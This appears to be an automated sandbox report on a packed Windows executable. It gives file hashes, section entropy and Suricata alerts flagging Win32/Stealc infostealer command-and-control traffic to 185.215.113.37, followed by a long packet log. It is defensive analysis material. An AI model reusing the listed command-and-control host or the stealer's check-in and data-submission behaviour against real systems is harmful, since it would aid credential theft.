Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945948651713375
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'811'968 bytes
MD5:	9f58b919bf1bfff6184e9086795f1e01
SHA1:	28e1c7688505e239c0dfd485538ef51524f2f470
SHA256:	fee834415b8e8710b13430f491e9a808978c11f4cd796194a1f79604b812a48c
SHA512:	0971d8ff35562a14d4049ddaabb807f9aa7e5aeba8a0634b1eb8d7156ef89df36301ffe7a268645364b5f94eeebf486a23363505032db90927206f89b274f90c
SSDEEP:	49152:w41SEFY9pTerm0PK/KNw84wUsin+GJQYRdFXD+7:XWnSoKNfoz+GJQ0dtK
TLSH:	C985339B9D686DB7C404DE3C9AC6784C786C3F9F094286EDBB035134DEED9C0A93A851
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa82000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDEE4DAC52Ah
je 00007FDEE4DAC541h
add byte ptr [eax], al
jmp 00007FDEE4DAE525h
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d12e274bdd9608f8eb91d26ac5b63bac	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x28e000	0x200	bba56952faaef643d89f3ddf1cfa8d47	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ydkpwazq	0x4ec000	0x195000	0x194400	d7c703db7f75aa94a41b099995dde223	False	0.9945712304808287	data	7.9520196155267655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dvoaaauq	0x681000	0x1000	0x400	ece0eea1a63cafd1dd18f06d8045af54	False	0.7119140625	data	5.583533085118266	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x682000	0x3000	0x2200	1556bf926308b145be9795c4ad4f90ef	False	0.06192555147058824	DOS executable (COM)	0.8045270080047136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T08:22:04.554332+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:04.776780+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:04.783157+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-08T08:22:05.000007+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:05.007166+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-08T08:22:06.094862+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:06.574219+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:11.886979+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:12.946143+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:13.625215+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:15.117497+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:16.935324+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-08T08:22:17.334047+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 08:22:03.606288910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:03.611130953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:03.611227989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:03.614845991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:03.619601965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.306534052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.306646109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:04.314659119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:04.319454908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.554071903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.554332018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:04.555706024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:04.560558081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.776650906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.776679039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.776779890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:04.778229952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:04.783157110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.999905109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.999969959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:04.999990940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.000011921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.000006914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.000006914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.000035048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.000053883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.000077009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.000083923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.000083923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.000083923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.000122070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.000122070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.002096891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.007165909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.224934101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.225167036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.245326042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.245405912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:05.250363111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.250382900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.250416994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.250435114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.250469923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.250485897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:05.250502110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.094744921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.094861984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.355820894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.360932112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.573956966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.573976994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574002981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574021101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574105978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574120998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574218988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.574287891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574287891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.574342966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574346066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.574367046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574384928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574395895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.574429989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.574429989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.574939966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574969053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.574992895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.575025082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.661456108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.661494017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.661569118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.661657095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.699867010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.699892998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.699915886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.699980974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700028896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700047970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700068951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700076103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700122118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700133085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700144053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700164080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700179100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700210094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700824976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700841904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700871944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700884104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700890064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700911999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.700927973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.700965881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.701565027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.701582909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.701605082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.701627016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.701630116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.701651096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.701673031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.701709986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.702373028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.702425003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.702435017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.702451944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.702470064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.702481031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.702492952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.702502966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.702523947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.702547073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.703217030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.703236103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.703279018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.703311920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825073004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825102091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825120926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825145006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825166941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825170040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825184107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825202942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825223923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825242043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825242996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825294971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825295925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825294971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825340033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825355053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825357914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825402975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825424910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825453997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825470924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825493097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825508118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825509071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825531006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825535059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.825548887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825576067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.825593948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826272011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826338053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826370955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826397896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826419115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826427937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826440096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826459885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826478004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826498985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.826572895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826572895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826572895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826572895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.826770067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827244997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827272892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827292919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827305079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827323914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827332020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827348948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827353954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827390909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827420950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827433109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827451944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.827486992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.827519894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.828068018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828135967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.828144073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828150988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828166008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828191996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828214884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828224897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.828232050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828254938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.828272104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.828289986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.828334093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.829045057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.829062939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.829093933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.829097986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.829101086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.829127073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.829138994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.829143047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.829179049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.829209089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.950506926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950586081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950594902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950599909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950612068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950632095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950643063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950656891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950668097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950681925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950694084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950705051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.950769901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.950769901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.950769901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.950769901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951205969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951215982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951246977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951256990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951271057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951277018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951293945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951333046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951370955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951421022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951430082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951445103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951452971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951467991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951474905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951478958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951493979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951502085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951519966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951555967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:06.951807022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:06.951817036 CEST	80	49730	185.215.113.37	192.168.2.4
